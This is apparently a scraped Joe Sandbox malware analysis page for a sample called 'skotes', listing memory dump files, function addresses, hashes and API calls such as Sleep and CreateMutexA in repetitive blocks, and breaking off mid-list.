Associated: 00000002.00000002.1756172322.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756190023.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756205592.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756220484.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756238338.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756254012.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756276410.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756335498.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756351675.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756366936.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756382308.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756400469.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756415306.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7d693d5cf76b3b3d24dc2585a131073a907b4772692663f3b2b7e6562315504c
Instruction ID: 7f76d04e8e8b7681a8bb5d42a95fc2e8ca5e22e0750a02dd69d488356cb71865
Opcode Fuzzy Hash: 7d693d5cf76b3b3d24dc2585a131073a907b4772692663f3b2b7e6562315504c
Instruction Fuzzy Hash: 89314C31B002018BEB08DB78DD9DBADF7E6EFA6314F244619E019973D1D7358981C726

Function 00AAA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000002.00000002.1754737566.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1754799297.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755139942.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755298174.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755353906.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755739076.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755765591.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755840673.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755861047.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755889894.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755907151.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755931575.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755950655.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755966139.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755986614.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756004287.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756021452.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756043120.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756058423.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756072999.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756087074.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756104093.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756121466.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756137947.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756154534.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756172322.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756190023.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756205592.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756220484.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756238338.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756254012.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756276410.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756335498.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756351675.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756366936.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756382308.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756400469.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756415306.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ef9726e732b0065106a53eeb2db093685be7f5bc7504ebc53562676a5d1bf75e
Instruction ID: 587333031ef9a0341c357b506eb0837d6c9c200b5106503f2d1989e61ae2ddcc
Opcode Fuzzy Hash: ef9726e732b0065106a53eeb2db093685be7f5bc7504ebc53562676a5d1bf75e
Instruction Fuzzy Hash: 84312A317002009BEB18DB78DD9DBAEF7F6DBA6310F248619E018D73D5D7758981C662

Function 00AA9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000002.00000002.1754737566.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1754799297.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755139942.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755298174.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755353906.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755739076.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755765591.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755840673.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755861047.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755889894.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755907151.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755931575.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755950655.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755966139.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755986614.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756004287.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756021452.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756043120.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756058423.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756072999.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756087074.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756104093.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756121466.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756137947.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756154534.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756172322.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756190023.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756205592.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756220484.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756238338.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756254012.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756276410.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756335498.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756351675.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756366936.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756382308.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756400469.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756415306.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: be1784f355458eeee4f902ab70ec508814cd9072a63f5dfa8f03cbd889c7bcea
Instruction ID: 279a0046b1364bb4108e558990b19e18208cb9b1af6e18813ba09f74b08ce900
Opcode Fuzzy Hash: be1784f355458eeee4f902ab70ec508814cd9072a63f5dfa8f03cbd889c7bcea
Instruction Fuzzy Hash: 132149317042009BEB18AB6CEC9DBAEF7A5EBD2310F204219E418872D5DB759981C621

Function 00AAA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000002.00000002.1754737566.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1754799297.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755139942.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755298174.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755353906.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755739076.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755765591.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755840673.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755861047.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755889894.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755907151.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755931575.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755950655.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755966139.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755986614.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756004287.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756021452.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756043120.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756058423.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756072999.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756087074.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756104093.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756121466.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756137947.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756154534.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756172322.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756190023.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756205592.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756220484.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756238338.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756254012.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756276410.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756335498.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756351675.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756366936.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756382308.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756400469.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756415306.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: beba2ce3920122a6169580e8fdafadbad0a3f946a2a9af6bf06300a77523c793
Instruction ID: 0da8a274ed525733227d063bdf4ff358a6d64932f995dfd859bd71fb9b5f0ceb
Opcode Fuzzy Hash: beba2ce3920122a6169580e8fdafadbad0a3f946a2a9af6bf06300a77523c793
Instruction Fuzzy Hash: E72128313442019AEB346769DD9EB7EB3E19FA7700F240816E108972D2DF7E8981C563

Function 00AAA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000002.00000002.1754737566.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1754799297.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755139942.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755298174.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755353906.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755739076.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755765591.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755840673.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755861047.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755889894.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755907151.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755931575.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755950655.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755966139.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755986614.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756004287.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756021452.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756043120.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756058423.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756072999.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756087074.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756104093.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756121466.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756137947.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756154534.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756172322.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756190023.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756205592.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756220484.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756238338.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756254012.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756276410.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756335498.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756351675.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756366936.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756382308.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756400469.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756415306.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b153c31d65b48af1261cdd7e6da53a25dfc3e8973f52fa50fc767a3be80407d5
Instruction ID: 6768f081d8c9081b40bb6b91542974278a9e6966aa25075e96eb9a9a5570fb94
Opcode Fuzzy Hash: b153c31d65b48af1261cdd7e6da53a25dfc3e8973f52fa50fc767a3be80407d5
Instruction Fuzzy Hash: 8E2149327042009BEB189B6CED9D7ADF7E6DFE2310F244219E4089B7D1DB769580C262

Non-executed Functions

Function 00ADCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00ADCC66

Memory Dump Source

Source File: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000002.00000002.1754737566.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1754799297.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755139942.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755298174.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755353906.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755739076.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755765591.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755840673.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755861047.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755889894.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755907151.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755931575.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755950655.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755966139.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755986614.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756004287.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756021452.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756043120.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756058423.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756072999.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756087074.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756104093.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756121466.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756137947.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756154534.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756172322.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756190023.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756205592.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756220484.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756238338.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756254012.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756276410.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756335498.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756351675.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756366936.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756382308.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756400469.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756415306.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 59331a186c7f007e6ab3cfed68c9a5f719f4b1474f554e7d5868b872744e98c4
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 06B136729042869FDB15CF68C8817EEBBF5EF45360F54416BE956EB342DA348D01CB60

Function 00AA2EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AA2F5F
__Mtx_unlock.LIBCPMT ref: 00AA2FCC
__Mtx_unlock.LIBCPMT ref: 00AA30F5
__Mtx_unlock.LIBCPMT ref: 00AA319B

Memory Dump Source

Source File: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000002.00000002.1754737566.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1754799297.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755139942.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755298174.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755353906.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
